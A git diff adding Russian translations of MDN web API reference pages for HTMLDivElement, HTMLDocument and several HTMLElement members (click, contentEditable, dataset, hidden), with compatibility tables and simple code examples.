+---
+title: HTMLDivElement
+slug: Web/API/HTMLDivElement
+translation_of: Web/API/HTMLDivElement
+---
+<div>
+<div>{{ APIRef("HTML DOM") }}</div>
+</div>
+
+<div></div>
+
+<p>Интерфейс <strong>HTMLDivElement</strong> предоставляет специальные свойства (не входящее в интерфейс {{domxref("HTMLElement")}} ) для манипулирования DIV элементов. </p>
+
+<p>{{InheritanceDiagram(600,120)}}</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Наследует свойства родителя, {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLDivElement.align")}} {{obsolete_inline}}</dt>
+ <dd>Свойство типа {{domxref("DOMString")}} указывающее выравнивание содержимого элемента относительно окружающего контекста. Принемает следующие значения <code>"left"</code>, <code>"right"</code>, <code>"justify"</code>, <code>"center"</code>.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Не имеет специальных методов; Наследует методы родителя, {{domxref("HTMLElement")}}.</em></p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "grouping-content.html#the-div-element", "HTMLDivElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Неимеет изменений от {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "grouping-content.html#the-div-element", "HTMLDivElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Неимеет изменений от {{SpecName("DOM2 HTML")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-22445964', 'HTMLDivElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>Неимеет изменений от {{SpecName("DOM1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-22445964', 'HTMLDivElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>HTML элемент реализующий этот интерфейс: {{ HTMLElement("div") }}.</li>
+</ul>
diff --git a/files/ru/web/api/htmldocument/index.html b/files/ru/web/api/htmldocument/index.html
new file mode 100644
index 0000000000..4a0ef5fd10
--- /dev/null
+++ b/files/ru/web/api/htmldocument/index.html
@@ -0,0 +1,20 @@
+---
+title: HTMLDocument
+slug: Web/API/HTMLDocument
+tags:
+  - API
+  - HTML DOM
+  - Интерфейс
+translation_of: Web/API/HTMLDocument
+---
+<p>{{ APIRef("HTML DOM") }}</p>
+
+<p>HTMLDocument - это абстрактный интерфейс  <a href="https://developer.mozilla.org/en-US/docs/DOM" title="en/DOM">DOM</a>, который обеспечивает доступ к специальным свойствам и методам, не представленным по умолчанию в регулярном (XML) документе.</p>
+
+<p>Его методы и свойства включены в страницу {{domxref ("document")}} и перечислены отдельно в их собственном разделе на вышеупомянутой связанной странице DOM.</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-26809268" rel="freelink">http://www.w3.org/TR/DOM-Level-2-HTM...ml#ID-26809268</a></li>
+</ul>
diff --git a/files/ru/web/api/htmlelement/click/index.html b/files/ru/web/api/htmlelement/click/index.html
new file mode 100644
index 0000000000..d800f52724
--- /dev/null
+++ b/files/ru/web/api/htmlelement/click/index.html
@@ -0,0 +1,115 @@
+---
+title: HTMLElement.click()
+slug: Web/API/HTMLElement/click
+translation_of: Web/API/HTMLElement/click
+---
+<div>
+<div>{{ APIRef("HTML DOM") }}</div>
+</div>
+
+<p>Метод <code><strong>HTMLElement.click()</strong></code> имитирует клик мышкой по элементу.</p>
+
+<p>Когда <code>click()</code> используется с поддерживающими его элементами (такими, например, как {{HTMLElement("input")}}), он вызывает срабатывание события клика мышкой. Это событие затем всплывает вверх по дереву элементов (или цепочке событий) и вызывает срабатывание уже их событий по клику мышкой.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>element</em>.click()</pre>
+
+<h2 id="Specification">Specification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-2651361')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>20<sup>[3]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>5<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[2]</sup></td>
+   <td>6<sup>[3]</sup></td>
+  </tr>
+  <tr>
+   <td><code>input@file (limited)</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>12.10</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>input@file (full)</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Относится к  Gecko 5.0 {{geckoRelease("5.0")}}, Gecko не будет реализовывать метод  <code>click()</code>  на других элементах, которые, как можно ожидать,  будут реагировать на клик мышкой, на такие как "ссылка"  ({{HTMLElement("a")}} элементы), также это не обязательно вызовет срабатывание события "клик мышкой" у других элементов.</p>
+
+<p>[2] В версиях Opera, базируемых на Presto, метод <code>click()</code> будет без ошибок проигнорирован, если вызывается на поле {{HTMLElement("input")}} у которого  <strong><code>type</code> </strong>указан как <code>file</code> и <a href="/en-US/docs/Web/CSS">CSS</a> свойство {{cssxref('display')}} установлено <code>none</code>.</p>
+
+<p>[3] Предыдущие версии имели только <code>HTMLInputElement.click()</code> и <code>HTMLButtonElement.click()</code> .</p>
diff --git a/files/ru/web/api/htmlelement/contenteditable/index.html b/files/ru/web/api/htmlelement/contenteditable/index.html
new file mode 100644
index 0000000000..d231018d4a
--- /dev/null
+++ b/files/ru/web/api/htmlelement/contenteditable/index.html
@@ -0,0 +1,115 @@
+---
+title: HTMLElement.contentEditable
+slug: Web/API/HTMLElement/contentEditable
+translation_of: Web/API/HTMLElement/contentEditable
+---
+<div>
+<div>{{ APIRef("HTML DOM") }}</div>
+</div>
+
+<p>Свойство <strong><code>HTMLElement.contentEditable</code></strong> элемента - признак, указывающий можно или нет редактировать содержимое элемента. Своство может принимать следующие значения:</p>
+
+<ul>
+ <li><code>true или пустая строка - содержимое элемента доступно для редактирования</code>.</li>
+ <li><code>false</code> - содержимое элемента не доступно для редактирования.</li>
+ <li><code>inherit</code> - наследуется значение занного свойства от родительского элемента.</li>
+</ul>
+
+<p>Вы можете использовать свойство {{domxref("HTMLElement.isContentEditable")}}, чтобы проверить {{domxref("Boolean")}} значение этого свойства.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>editable</em> = element.contentEditable
+element.contentEditable = "true"
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'interaction.html#contenteditable', 'contenteditable')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>11</td>
+   <td>{{CompatGeckoDesktop(1.9)}}</td>
+   <td>6</td>
+   <td>10.6</td>
+   <td>3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>3</td>
+   <td>{{CompatGeckoMobile(1.9)}}</td>
+   <td>6</td>
+   <td>{{CompatNo}}</td>
+   <td>5</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Bugs" name="Bugs">Bugs</h3>
+
+<ul>
+ <li><a href="https://connect.microsoft.com/IE/feedback/details/796187/internet-explorer-10-crash-with-contenteditable-list">IE bug 796187</a>: IE10 crashes in some cases when editing lists</li>
+ <li><a href="https://connect.microsoft.com/IE/feedback/details/858749">IE bug 858749</a>: IE11+ uses invalid positioning for caret when an element is floated</li>
+ <li><a href="https://connect.microsoft.com/IE/feedbackdetail/view/809254">IE bug 809254</a>: IE9-10 window freezes when using mousewheel while dragging</li>
+ <li><a href="https://connect.microsoft.com/IE/feedbackdetail/view/794285">IE bug 794285</a>: IE10-11 does not fire the <a href="/en-US/docs/Web/Events/input"><code>input</code></a> event</li>
+ <li><a href="https://connect.microsoft.com/IE/feedbackdetail/view/801770">IE bug 801770</a>: IE10 crashes after selecting "Cut" from the context menu</li>
+ <li><a href="https://connect.microsoft.com/IE/feedbackdetail/view/807199">IE bug 807199</a>: IE11+ does not allow placing the caret in an empty table cell</li>
+ <li><a href="https://connect.microsoft.com/IE/feedbackdetail/view/774350">IE bug 774350</a>: IE10 does not fire <a href="/en-US/docs/Web/Events/contextmenu"><code>contextmenu</code></a> event when right-clicking on misspelled words</li>
+ <li><a href="https://connect.microsoft.com/IE/feedbackdetail/view/864804">IE bug 864804</a>: IE11 appends {{HTMLElement("br")}} elements to {{HTMLElement("body")}} when showing/hiding an {{HTMLElement("iframe")}} with contenteditable document inside</li>
+ <li><a href="https://connect.microsoft.com/IE/feedbackdetail/view/907422">IE bug 907422</a>: IE11 does not allow disabling resize handles for images/inputs</li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("HTMLElement.isContentEditable")}}</li>
+ <li>The <a href="/en-US/docs/Web/HTML/Global_attributes/contenteditable">contenteditable</a> global attribute.</li>
+ <li><a href="https://medium.com/medium-eng/why-contenteditable-is-terrible-122d8a40e480">Why ContentEditable is Terrible, Or: How the Medium Editor Works</a></li>
+</ul>
diff --git a/files/ru/web/api/htmlelement/dataset/index.html b/files/ru/web/api/htmlelement/dataset/index.html
new file mode 100644
index 0000000000..328b265afa
--- /dev/null
+++ b/files/ru/web/api/htmlelement/dataset/index.html
@@ -0,0 +1,114 @@
+---
+title: HTMLElement.dataset
+slug: Web/API/HTMLElement/dataset
+translation_of: Web/API/HTMLOrForeignElement/dataset
+---
+<p>{{ APIRef("HTML DOM") }}</p>
+
+<p>Свойство <code><strong>HTMLElement.dataset</strong></code> предоставляет доступ как для чтения, так и для изменения всех пользовательских дата-атрибутов <a href="/en/HTML/Global_attributes#attr-data-*" title="https://developer.mozilla.org/en/HTML/Global_attributes#attr-data-*">custom data attributes</a> (<code>data-*</code>) , установленных у элемента. Это <a href="/en/DOM/DOMStringMap" title="en/DOM/DOMStringMap">map of DOMString</a>, одна запись для каждого пользовательского атрибута данных. Обратите внимание, свойство <code><strong>dataset</strong></code> доступно только для чтения. Для записи должны использоваться  его "свойства", которые представлены data-атрибутами. Также обратите внимание, что HTML <code><strong>data-</strong></code><em>атрибут</em> и соответствующий ему DOM-<code>dataset.</code><em>property</em> не имеют одно и то же имя, но они всегда похожи:</p>
+
+<ul>
+ <li>Имя пользовательского дата атрибута в HTML начинается с "<code>data-</code>". Оно может состоять из букв, цифр и символов: дефис-минус (<code>-</code>, <code>U+002D</code>), точка (<code>.</code>), двоеточие (<code>:</code>), подчеркивание (<code>_</code>). Имя НЕ МОЖЕТ включать в себя заглавные буквы.</li>
+ <li>Имя пользовательского дата-атрибута в Javascript — это имя того же атрибута в HTML, но с использованием нотации camelCase и без дефисов, точек и т.д.<br>
+  <br>
+  В дополнение к приведенной ниже информации вы найдете руководство по использованию HTML data-атрибутов в нашей статье <a href="/en-US/docs/Learn/HTML/Howto/Use_data_attributes">Использование data-атрибутов</a>.</li>
+</ul>
+
+<h3 id="Преобразование_имён">Преобразование имён</h3>
+
+<p><code>dash-style</code> в <code>camelCase</code>: имя пользовательского дата-атрибута преобразуется в ключ для {{ domxref("DOMStringMap") }} по следующим правилам:</p>
+
+<ul>
+ <li>удаляется префикс <code>data-</code> (вместе с дефисом);</li>
+ <li>дефисы (<code>U+002D</code>) со следующими за ними <span style="line-height: 1.5;">ASCII-символами </span><code>a</code><span style="line-height: 1.5;">-</span><code>z</code><span style="line-height: 1.5;"> в нижнем регистре: черта удаляется, а символ преобразуется в верхний регистр;</span></li>
+ <li>остальные символы (включая дефисы) остаются без изменений.</li>
+</ul>
+
+<p><code>camelCase</code> в <code>dash-style</code>: обратное преобразование ключа в имя атрибута производится по следующим правилам:</p>
+
+<ul>
+ <li>Ограничение: сразу после дефиса не может быть ASCII-символа <code>a</code>-<code>z</code> в нижнем регистре (до преобразования);</li>
+ <li>добавляется префикс <code>data-</code>;</li>
+ <li>все ASCII-символы <code>A</code>-<code>Z</code> в верхнем регистре заменяются на дефис с символом в нижнем регистре;</li>
+ <li>остальные символы остаются без изменений.</li>
+</ul>
+
+<p>Ограничение в правилах гарантирует, что эти два преобразования являются обратными друг другу.</p>
+
+<p>Например, атрибуту <code>data-abc-def</code> соответствует ключ <code>abcDef</code>.</p>
+
+<h3 id="Доступ_к_значениям">Доступ к значениям</h3>
+
+<ul>
+ <li>Атрибуты можно устанавливать и считывать по имени в camelCase (ключ) как свойство объекта dataset, например <em>element.</em>dataset.<em>keyname</em></li>
+ <li>Атрибуты также можно устанавливать и считывать с использованием доступа к свойствам объекта через квадратные скобки, например <em>element.</em>dataset[<em>keyname</em>]</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/in">Оператор in</a> может быть использован для проверки существования атрибута.</li>
+</ul>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<ul>
+ <li><em>string</em> = <em>element</em>.<strong>dataset</strong>.<em>camelCasedName</em>;</li>
+ <li><em>element.</em><strong>dataset</strong>.<em>camelCasedName</em> = <em>string</em>;</li>
+ <br>
+ <li><em>string</em> = <em>element</em>.<strong>dataset</strong>[<em>camelCasedName</em>];</li>
+ <li><em>element</em>.<strong>dataset</strong>[<em>camelCasedName</em>] = <em>string</em>;</li>
+ <br>
+ <li><em>Custom data attributes can also be set directly on HTML elements, but attribute names must use the data- syntax above. </em></li>
+</ul>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js notranslate">&lt;div id="user" data-id="1234567890" data-user="johndoe" data-date-of-birth&gt;John Doe&lt;/div&gt;
+
+let el = document.querySelector('#user');
+
+// el.id == 'user'
+// el.dataset.id === '1234567890'
+// el.dataset.user === 'johndoe'
+// el.dataset.dateOfBirth === ''
+
+el.dataset.dateOfBirth = '1960-10-03'; // set the DOB.
+
+// 'someDataAttr' in el.dataset === false
+el.dataset.someDataAttr = 'mydata';
+// 'someDataAttr' in el.dataset === true
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "dom.html#dom-dataset", "HTMLElement.dataset")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from latest snapshot, {{SpecName('HTML5.1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "dom.html#dom-dataset", "HTMLElement.dataset")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Snapshot of {{SpecName('HTML WHATWG')}}, no change from {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "dom.html#dom-dataset", "HTMLElement.dataset")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Snapshot of  {{SpecName('HTML WHATWG')}}, initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.HTMLElement.dataset")}}</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>The HTML <a href="/en-US/docs/Web/HTML/Global_attributes/data-*"><strong>data-*</strong></a> class of global attributes.</li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Use_data_attributes">Using data attributes</a></li>
+</ul>
diff --git a/files/ru/web/api/htmlelement/hidden/index.html b/files/ru/web/api/htmlelement/hidden/index.html
new file mode 100644
index 0000000000..854f08e186
--- /dev/null
+++ b/files/ru/web/api/htmlelement/hidden/index.html
@@ -0,0 +1,192 @@
+---
+title: HTMLElement.hidden
+slug: Web/API/HTMLElement/hidden
+translation_of: Web/API/HTMLElement/hidden
+---
+<div>
+<div>HTMLElement <span class="seoSummary">Свойство <strong><code>hidden</code></strong> является {{jsxref("Boolean")}} типом данных , который принимает значение true , если содержимое спрятано, в противном случае значение будет false. Это свойство соверешенно отличается от использования CSS свойства {{cssxref("display")}} , чтобы контролировать отображение элемента.Свойство </span><code>hidden</code> <span class="seoSummary">применимо ко всем режимам  представления и не должно использоваться для скрытия содержимого предназначенного для прямого доступа к пользователю. Соответствующие варианты использования включают:</span></div>
+</div>
+
+<ul>
+ <li> Содержимое, которое не является особенно важным, но может быть необходимо позже</li>
+ <li>Содержимое, которое было раньше необходимо, но больше нет в нем необходимости</li>
+ <li>Содержимое, которое повторно используется другими частями страницы по шаблону</li>
+ <li>Создание заставного холста в качестве буфера рисования</li>
+</ul>
+
+<p>Неуместные варианты использования включают:</p>
+
+<ul>
+ <li>Скрытие панелей в диалоговом окне с вкладками</li>
+ <li>Скрытие содержимого в одной презентации, предполагая, что оно будет видимым в других</li>
+</ul>
+
+<div class="note">
+<p>Элементы, которые не hidden не должны ссылаться на элементы которые hidden.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>isHidden</em> = <em>HTMLElement</em>.hidden;
+
+
+<em>HTMLElement</em>.hidden = true | false;</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>Если элемент спрятан, то значение <em><strong>true</strong></em>, в противном случае <em><strong>false</strong></em>;  </p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<p>Пример, где скрытий блок используется для хранения "thank you" сообщения, которое отображается после того, как пользователь соглашается с необычным запросом.</p>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">document.getElementById("okButton")
+        .addEventListener("click", function() {
+  document.getElementById("welcome").hidden = true;
+  document.getElementById("awesome").hidden = false;
+}, false);</pre>
+
+<p>Этот код устанавливает обработчика для кнопки "OK", которая скрывает панель приветсвия и делает The follow-up panel панель с необычным именем "awesome" - видимой в этом месте.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<p>HTML-код для двух boxes показанных здесь.</p>
+
+<h4 id="Welcome_panel">Welcome panel</h4>
+
+<pre class="brush: html">&lt;div id="welcome" class="panel"&gt;
+  &lt;h1&gt;Welcome to Foobar.com!&lt;/h1&gt;
+  &lt;p&gt;By clicking "OK" you agree to be awesome every day!&lt;/p&gt;
+  &lt;button class="button" id="okButton"&gt;OK&lt;/button&gt;
+&lt;/div&gt;</pre>
+
+<p>Этот  HTML создает панель, которая приветствует пользователей на сайте и рассказывает им о том с чем они соглашаются нажимая на кнопку OK.</p>
+
+<h4 id="The_follow-up_panel">The follow-up panel</h4>
+
+<p>После того, как пользователь нажимает OK в welcome panel, JavaScript код меняет две панели изменяя их значения hidden. Cледующая The follow-up panel представлена в этом HMTL:</p>
+
+<pre class="brush: html">&lt;div id="awesome" class="panel" hidden&gt;
+  &lt;h1&gt;Thanks!&lt;/h1&gt;
+  &lt;p&gt;Thank you &lt;strong&gt;so&lt;/strong&gt; much for agreeing to be
+  awesome today! Now get out there and do awesome things
+  awesomely to make the world more awesome!&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<p>Стилизованное содержимое использует CSS предсталвенное внизу.</p>
+
+<pre class="brush: css">.panel {
+  font: 16px "Open Sans", Helvetica, Arial, sans-serif;
+  border: 1px solid #22d;
+  padding: 12px;
+  width: 500px;
+  text-align: center;
+}
+
+.button {
+  font: 22px "Open Sans", Helvetica, Arial, sans-serif;
+  padding: 5px 36px;
+}
+
+h1 {
+  margin-top: 0;
+  font-size: 175%;
+}</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{ EmbedLiveSample('Example', 560, 200) }}</p>
+
+<h2 id="Технические_требования">Технические требования</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "interaction.html#dom-hidden", "HTMLElement.hidden")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "editing.html#the-hidden-attribute", "HTMLElement.hidden")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "editing.html#the-hidden-attribute", "HTMLElement.hidden")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoDesktop("2") }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoMobile("2") }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("Element.hidden")}}</li>
+ <li>{{cssxref("display")}}</li>
+</ul>
diff --git a/files/ru/web/api/htmlelement/index.html b/files/ru/web/api/htmlelement/index.html
new file mode 100644
index 0000000000..7953983323
--- /dev/null
+++ b/files/ru/web/api/htmlelement/index.html
@@ -0,0 +1,402 @@
+---
+title: HTMLElement
+slug: Web/API/HTMLElement
+translation_of: Web/API/HTMLElement
+---
+<div>
+<div>{{ APIRef("HTML DOM") }}</div>
+</div>
+
+<div></div>
+
+<p>Интерфейс <strong><code>HTMLElement</code></strong> представляет собой любой элемент <a href="/en-US/docs/Web/HTML" title="/en-US/docs/Web/HTML">HTML</a>. Некоторые элементы напрямую используют этот интерфейс, другие - через промежуточный интерфейс.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Наследует свойства родителя, {{domxref("Element")}}, и реализует их через {{domxref("GlobalEventHandlers")}} и {{domxref("TouchEventHandlers")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLElement.accessKey")}} -- ключ доступа</dt>
+ <dd>Эта строковая переменная {{domxref("DOMString")}} отображает ключ доступа, сопоставленный элементу <em>{{domxref("Element")}}</em>.</dd>
+ <dt>{{domxref("HTMLElement.accessKeyLabel")}} {{readonlyInline}}</dt>
+ <dd>Возвращает {{domxref ("DOMString")}}, содержащий назначенный ключ доступа элемента.</dd>
+ <dt>{{domxref("HTMLElement.contentEditable")}}</dt>
+ <dd>Является {{domxref ("DOMString")}}, где значение" true "означает, что элемент доступен для редактирования, а значение" false " означает, что это не так.</dd>
+ <dt>{{domxref("HTMLElement.isContentEditable")}} {{readonlyInline}}</dt>
+ <dd>Возвращает {{domxref ("Boolean")}}, который указывает, можно ли редактировать содержимое элемента.</dd>
+ <dt>{{domxref("HTMLElement.contextMenu")}}</dt>
+ <dd>Является {{domxref ("HTMLMenuElement")}}, представляющим контекстное меню, связанное с элементом. Может быть null</dd>
+ <dt>{{domxref("HTMLElement.dataset")}} {{readonlyInline}} -- набор данных</dt>
+ <dd>Возвращает {{domxref("domstringmap")}}, который позволяет получить доступ к чтению и записи атрибутов пользовательских данных элемента (data-*) .</dd>
+ <dt>{{domxref("HTMLElement.dir")}}</dt>
+ <dd>Is a {{domxref("DOMString")}}, reflecting the <code>dir</code> global attribute, representing the directionality of the element. Possible values are <code>"ltr"</code>, <code>"rtl"</code>, and <code>"auto"</code>.</dd>
+ <dt>{{domxref("HTMLElement.draggable")}}</dt>
+ <dd>Is a {{jsxref("Boolean")}} indicating if the element can be dragged.</dd>
+ <dt>{{domxref("HTMLElement.dropzone")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("DOMSettableTokenList")}} reflecting the <code>dropzone</code> global attribute and describing the behavior of the element regarding a drop operation.</dd>
+ <dt>{{domxref("HTMLElement.hidden")}}</dt>
+ <dd>Is a {{jsxref("Boolean")}} indicating if the element is hidden or not.</dd>
+ <dt>{{domxref("HTMLElement.itemScope")}} {{experimental_inline}}</dt>
+ <dd>Is a {{jsxref("Boolean")}}…</dd>
